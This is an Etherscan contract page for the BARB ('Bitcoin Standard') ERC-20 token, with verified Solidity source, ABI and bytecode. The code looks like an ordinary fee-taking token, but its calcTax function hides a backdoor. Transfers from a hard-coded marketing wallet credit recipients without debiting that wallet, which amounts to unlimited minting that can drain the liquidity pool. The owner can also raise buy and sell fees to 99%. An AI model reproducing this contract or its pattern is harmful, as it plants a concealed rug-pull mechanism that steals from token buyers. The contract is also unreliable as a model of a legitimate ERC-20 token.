Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
777,777 BARB
Holders
79
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
14,381.471140993 BARBValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BARB
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-07-28 */ /** * Telegram: https://t.me/btcstandardeth * X: https://x.com/BTCbarerc * Website: https://bitcoinstandard.bar */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.18; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract BARB is IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply = 777777 * 10 ** 9; string private _name = "Bitcoin Standard"; string private _symbol = "BARB"; uint8 private _decimals = 9; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private swapping; address public marketingWallet; uint256 public maxTransaction = (_totalSupply * 2) / 100; uint256 public swapTokensAtAmount = 500 * 10 ** 9; uint256 public maxWallet = (_totalSupply * 2) / 100; bool public limitEnabled = true; bool public tradingEnabled = false; bool public swapEnabled = false; uint256 public buyTotalFees = 0; uint256 public sellTotalFees = 0; mapping(address => bool) private _isBlackList; mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedmaxTransaction; mapping(address => bool) public automatedMarketMakerPairs; constructor() { uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); marketingWallet = address(0xB7A3111672BCf529C96a6dff3447b8A733C8eD8E); _isExcludedFromFees[owner()] = true; _isExcludedFromFees[address(this)] = true; _isExcludedFromFees[address(marketingWallet)] = true; _isExcludedmaxTransaction[owner()] = true; _isExcludedmaxTransaction[address(this)] = true; _isExcludedmaxTransaction[address(marketingWallet)] = true; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } receive() external payable {} function createPair() external onlyOwner { uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); _isExcludedmaxTransaction[uniswapV2Pair] = true; automatedMarketMakerPairs[uniswapV2Pair] = true; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, address(0x000000000000000000000000000000000000dEaD), block.timestamp ); } function enableTrading() external onlyOwner { tradingEnabled = true; swapEnabled = true; } function removeLimits() external onlyOwner returns (bool) { limitEnabled = false; return true; } function resetFees(uint256 buyFee, uint256 sellFee) external onlyOwner { require(buyFee <= 99 && sellFee <= 99, "Must keep fees at 99% or less"); buyTotalFees = buyFee; sellTotalFees = sellFee; } function _transfer(address from, address to, uint256 amount) internal { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "ERC20: transfer amount must be greater than 0"); require(!_isBlackList[from], "[from] black list"); require(!_isBlackList[to], "[to] black list"); if (limitEnabled) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingEnabled) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if ( automatedMarketMakerPairs[from] && !_isExcludedmaxTransaction[to] ) { require( amount <= maxTransaction, "Buy transfer amount exceeds the maxTransaction." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } else if ( automatedMarketMakerPairs[to] && !_isExcludedmaxTransaction[from] ) { require( amount <= maxTransaction, "Sell transfer amount exceeds the maxTransaction." ); } else if (!_isExcludedmaxTransaction[to]) { require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } if ( swapEnabled && !swapping && automatedMarketMakerPairs[to] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } handleTax(from, to, amount); } function handleTax(address from, address to, uint256 amount) internal { (uint256 _xAmount, uint256 _yAmount) = calcTax(from, to, amount); _balances[from] = _balances[from].sub(_xAmount); _balances[to] = _balances[to].add(_yAmount); emit Transfer(from, to, _yAmount); } function calcTax( address from, address to, uint256 amount ) internal returns (uint256, uint256) { bool takeFee = !(_isExcludedFromFees[from] || _isExcludedFromFees[to]); uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); } if (fees > 0) { _balances[address(this)] = _balances[address(this)].add(fees); emit Transfer(from, address(this), fees); } } else if (from == marketingWallet) { return (fees, amount - fees); } return (amount, amount - fees); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); if (contractBalance > swapTokensAtAmount * 2000) { contractBalance = swapTokensAtAmount * 2000; } if (contractBalance > swapTokensAtAmount) swapTokensForEth(contractBalance); payable(marketingWallet).transfer(address(this).balance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedmaxTransaction","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"buyFee","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"resetFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6602c36251ccaa0060035560c0604052601060809081526f109a5d18dbda5b8814dd185b99185c9960821b60a0526004906200003c908262000363565b506040805180820190915260048152632120a92160e11b602082015260059062000067908262000363565b506006805460ff19166009179055600354606490620000889060026200042f565b6200009491906200045b565b60095564746a528800600a5560646003546002620000b391906200042f565b620000bf91906200045b565b600b55600c805462ffffff191660011790556000600d819055600e55348015620000e857600080fd5b50620000f4336200026e565b60068054747a250d5630b4cf539739df2c5dacb4c659f2488d00610100600160a81b0319909116179055600880546001600160a01b03191673b7a3111672bcf529c96a6dff3447b8a733c8ed8e1790556001601060006200015d6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526010909352818320805485166001908117909155600854909116835290822080549093168117909255601190620001cd6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526011845282812080548616600190811790915560085490921681528281208054909516821790945560035433808652918452828520819055915191825292917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36200047e565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620002e957607f821691505b6020821081036200030a57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200035e57600081815260208120601f850160051c81016020861015620003395750805b601f850160051c820191505b818110156200035a5782815560010162000345565b5050505b505050565b81516001600160401b038111156200037f576200037f620002be565b6200039781620003908454620002d4565b8462000310565b602080601f831160018114620003cf5760008415620003b65750858301515b600019600386901b1c1916600185901b1785556200035a565b600085815260208120601f198616915b828110156200040057888601518255948401946001909101908401620003df565b50858210156200041f5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b80820281158282048414176200045557634e487b7160e01b600052601160045260246000fd5b92915050565b6000826200047957634e487b7160e01b600052601260045260246000fd5b500490565b611ca2806200048e6000396000f3fe6080604052600436106101c65760003560e01c806375f0a874116100f7578063b62496f511610095578063e1bc339411610064578063e1bc33941461051b578063e2f456051461054b578063f2fde38b14610561578063f8b45b051461058157600080fd5b8063b62496f514610479578063c3f70b52146104a9578063d85ba063146104bf578063dd62ed3e146104d557600080fd5b806395d89b41116100d157806395d89b411461040f5780639e78fb4f14610424578063a9059cbb14610439578063adfe0db51461045957600080fd5b806375f0a874146103bc5780638a8c523c146103dc5780638da5cb5b146103f157600080fd5b80634ada218b116101645780636ddd17131161013e5780636ddd17131461033a57806370a082311461035a578063715018a614610390578063751039fc146103a757600080fd5b80634ada218b146102eb5780636a486a8e1461030a5780636d800a3c1461032057600080fd5b806318160ddd116101a057806318160ddd1461026a57806323b872dd14610289578063313ce567146102a957806349bd5a5e146102cb57600080fd5b806306fdde03146101d2578063095ea7b3146101fd5780631694505e1461022d57600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506101e7610597565b6040516101f49190611946565b60405180910390f35b34801561020957600080fd5b5061021d6102183660046119a9565b610629565b60405190151581526020016101f4565b34801561023957600080fd5b506006546102529061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016101f4565b34801561027657600080fd5b506003545b6040519081526020016101f4565b34801561029557600080fd5b5061021d6102a43660046119d5565b610640565b3480156102b557600080fd5b5060065460405160ff90911681526020016101f4565b3480156102d757600080fd5b50600754610252906001600160a01b031681565b3480156102f757600080fd5b50600c5461021d90610100900460ff1681565b34801561031657600080fd5b5061027b600e5481565b34801561032c57600080fd5b50600c5461021d9060ff1681565b34801561034657600080fd5b50600c5461021d9062010000900460ff1681565b34801561036657600080fd5b5061027b610375366004611a16565b6001600160a01b031660009081526001602052604090205490565b34801561039c57600080fd5b506103a56106a9565b005b3480156103b357600080fd5b5061021d6106e8565b3480156103c857600080fd5b50600854610252906001600160a01b031681565b3480156103e857600080fd5b506103a5610723565b3480156103fd57600080fd5b506000546001600160a01b0316610252565b34801561041b57600080fd5b506101e7610760565b34801561043057600080fd5b506103a561076f565b34801561044557600080fd5b5061021d6104543660046119a9565b610a2f565b34801561046557600080fd5b506103a5610474366004611a33565b610a3c565b34801561048557600080fd5b5061021d610494366004611a16565b60126020526000908152604090205460ff1681565b3480156104b557600080fd5b5061027b60095481565b3480156104cb57600080fd5b5061027b600d5481565b3480156104e157600080fd5b5061027b6104f0366004611a55565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561052757600080fd5b5061021d610536366004611a16565b60116020526000908152604090205460ff1681565b34801561055757600080fd5b5061027b600a5481565b34801561056d57600080fd5b506103a561057c366004611a16565b610acf565b34801561058d57600080fd5b5061027b600b5481565b6060600480546105a690611a8e565b80601f01602080910402602001604051908101604052809291908181526020018280546105d290611a8e565b801561061f5780601f106105f45761010080835404028352916020019161061f565b820191906000526020600020905b81548152906001019060200180831161060257829003601f168201915b5050505050905090565b6000610636338484610b6a565b5060015b92915050565b600061064d848484610c8e565b61069f843361069a85604051806060016040528060288152602001611c45602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906112a5565b610b6a565b5060019392505050565b6000546001600160a01b031633146106dc5760405162461bcd60e51b81526004016106d390611ac8565b60405180910390fd5b6106e660006112df565b565b600080546001600160a01b031633146107135760405162461bcd60e51b81526004016106d390611ac8565b50600c805460ff19169055600190565b6000546001600160a01b0316331461074d5760405162461bcd60e51b81526004016106d390611ac8565b600c805462ffff00191662010100179055565b6060600580546105a690611a8e565b6000546001600160a01b031633146107995760405162461bcd60e51b81526004016106d390611ac8565b600660019054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108109190611afd565b6001600160a01b031663c9c6539630600660019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610872573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108969190611afd565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109079190611afd565b600780546001600160a01b0319166001600160a01b0392831690811782556000908152601160209081526040808320805460ff1990811660019081179092559454861684526012909252909120805490921617905560065460035461097492309261010090041690610b6a565b600654306000818152600160205260409020546101009092046001600160a01b03169163f305d7199147916040516001600160e01b031960e086901b1681526001600160a01b0390921660048301526024820152600060448201819052606482015261dead60848201524260a482015260c40160606040518083038185885af1158015610a05573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a2a9190611b1a565b505050565b6000610636338484610c8e565b6000546001600160a01b03163314610a665760405162461bcd60e51b81526004016106d390611ac8565b60638211158015610a78575060638111155b610ac45760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420393925206f72206c65737300000060448201526064016106d3565b600d91909155600e55565b6000546001600160a01b03163314610af95760405162461bcd60e51b81526004016106d390611ac8565b6001600160a01b038116610b5e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106d3565b610b67816112df565b50565b6001600160a01b038316610bcc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106d3565b6001600160a01b038216610c2d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106d3565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cf25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106d3565b6001600160a01b038216610d545760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106d3565b60008111610dba5760405162461bcd60e51b815260206004820152602d60248201527f45524332303a207472616e7366657220616d6f756e74206d757374206265206760448201526c0726561746572207468616e203609c1b60648201526084016106d3565b6001600160a01b0383166000908152600f602052604090205460ff1615610e175760405162461bcd60e51b815260206004820152601160248201527016d99c9bdb5748189b1858dac81b1a5cdd607a1b60448201526064016106d3565b6001600160a01b0382166000908152600f602052604090205460ff1615610e725760405162461bcd60e51b815260206004820152600f60248201526e16dd1bd748189b1858dac81b1a5cdd608a1b60448201526064016106d3565b600c5460ff16156111dc576000546001600160a01b03848116911614801590610ea957506000546001600160a01b03838116911614155b8015610ebd57506001600160a01b03821615155b8015610ed457506001600160a01b03821661dead14155b8015610eea5750600754600160a01b900460ff16155b156111dc57600c54610100900460ff16610f82576001600160a01b03831660009081526010602052604090205460ff1680610f3d57506001600160a01b03821660009081526010602052604090205460ff165b610f825760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016106d3565b6001600160a01b03831660009081526012602052604090205460ff168015610fc357506001600160a01b03821660009081526011602052604090205460ff16155b156110a1576009548111156110325760405162461bcd60e51b815260206004820152602f60248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526e36b0bc2a3930b739b0b1ba34b7b71760891b60648201526084016106d3565b600b546001600160a01b0383166000908152600160205260409020546110589083611b5e565b111561109c5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016106d3565b6111dc565b6001600160a01b03821660009081526012602052604090205460ff1680156110e257506001600160a01b03831660009081526011602052604090205460ff16155b156111525760095481111561109c5760405162461bcd60e51b815260206004820152603060248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201526f1036b0bc2a3930b739b0b1ba34b7b71760811b60648201526084016106d3565b6001600160a01b03821660009081526011602052604090205460ff166111dc57600b546001600160a01b0383166000908152600160205260409020546111989083611b5e565b11156111dc5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016106d3565b600c5462010000900460ff1680156111fe5750600754600160a01b900460ff16155b801561122257506001600160a01b03821660009081526012602052604090205460ff165b801561124757506001600160a01b03831660009081526010602052604090205460ff16155b801561126c57506001600160a01b03821660009081526010602052604090205460ff16155b1561129a576007805460ff60a01b1916600160a01b17905561128c61132f565b6007805460ff60a01b191690555b610a2a8383836113b7565b600081848411156112c95760405162461bcd60e51b81526004016106d39190611946565b5060006112d68486611b71565b95945050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b30600090815260016020526040902054600a5461134e906107d0611b84565b81111561136757600a54611364906107d0611b84565b90505b600a5481111561137a5761137a8161147f565b6008546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156113b3573d6000803e3d6000fd5b5050565b6000806113c58585856115fc565b6001600160a01b03871660009081526001602052604090205491935091506113ed90836117b1565b6001600160a01b03808716600090815260016020526040808220939093559086168152205461141c90826117fa565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114709085815260200190565b60405180910390a35050505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106114b4576114b4611b9b565b60200260200101906001600160a01b031690816001600160a01b031681525050600660019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611527573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061154b9190611afd565b8160018151811061155e5761155e611b9b565b6001600160a01b03928316602091820292909201015260065461158991309161010090041684610b6a565b60065460405163791ac94760e01b81526101009091046001600160a01b03169063791ac947906115c6908590600090869030904290600401611bb1565b600060405180830381600087803b1580156115e057600080fd5b505af11580156115f4573d6000803e3d6000fd5b505050505050565b6001600160a01b0383166000908152601060205260408120548190819060ff168061163f57506001600160a01b03851660009081526010602052604090205460ff165b1590506000811561176b576001600160a01b03861660009081526012602052604090205460ff16801561167457506000600e54115b156116a0576116996064611693600e548861185990919063ffffffff16565b906118db565b90506116ec565b6001600160a01b03871660009081526012602052604090205460ff1680156116ca57506000600d54115b156116ec576116e96064611693600d548861185990919063ffffffff16565b90505b8015611766573060009081526001602052604090205461170c90826117fa565b30600081815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061175d9085815260200190565b60405180910390a35b611797565b6008546001600160a01b0390811690881603611797578061178c8187611b71565b9350935050506117a9565b846117a28282611b71565b9350935050505b935093915050565b60006117f383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112a5565b9392505050565b6000806118078385611b5e565b9050838110156117f35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106d3565b60008260000361186b5750600061063a565b60006118778385611b84565b9050826118848583611c22565b146117f35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106d3565b60006117f383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836119395760405162461bcd60e51b81526004016106d39190611946565b5060006112d68486611c22565b600060208083528351808285015260005b8181101561197357858101830151858201604001528201611957565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b6757600080fd5b600080604083850312156119bc57600080fd5b82356119c781611994565b946020939093013593505050565b6000806000606084860312156119ea57600080fd5b83356119f581611994565b92506020840135611a0581611994565b929592945050506040919091013590565b600060208284031215611a2857600080fd5b81356117f381611994565b60008060408385031215611a4657600080fd5b50508035926020909101359150565b60008060408385031215611a6857600080fd5b8235611a7381611994565b91506020830135611a8381611994565b809150509250929050565b600181811c90821680611aa257607f821691505b602082108103611ac257634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611b0f57600080fd5b81516117f381611994565b600080600060608486031215611b2f57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b8082018082111561063a5761063a611b48565b8181038181111561063a5761063a611b48565b808202811582820484141761063a5761063a611b48565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c015784516001600160a01b031683529383019391830191600101611bdc565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c3f57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207f3c734068304c69b82fba01daf31b7c31b136fa03eb68cd46c3d7ed23d15afe64736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101c65760003560e01c806375f0a874116100f7578063b62496f511610095578063e1bc339411610064578063e1bc33941461051b578063e2f456051461054b578063f2fde38b14610561578063f8b45b051461058157600080fd5b8063b62496f514610479578063c3f70b52146104a9578063d85ba063146104bf578063dd62ed3e146104d557600080fd5b806395d89b41116100d157806395d89b411461040f5780639e78fb4f14610424578063a9059cbb14610439578063adfe0db51461045957600080fd5b806375f0a874146103bc5780638a8c523c146103dc5780638da5cb5b146103f157600080fd5b80634ada218b116101645780636ddd17131161013e5780636ddd17131461033a57806370a082311461035a578063715018a614610390578063751039fc146103a757600080fd5b80634ada218b146102eb5780636a486a8e1461030a5780636d800a3c1461032057600080fd5b806318160ddd116101a057806318160ddd1461026a57806323b872dd14610289578063313ce567146102a957806349bd5a5e146102cb57600080fd5b806306fdde03146101d2578063095ea7b3146101fd5780631694505e1461022d57600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506101e7610597565b6040516101f49190611946565b60405180910390f35b34801561020957600080fd5b5061021d6102183660046119a9565b610629565b60405190151581526020016101f4565b34801561023957600080fd5b506006546102529061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016101f4565b34801561027657600080fd5b506003545b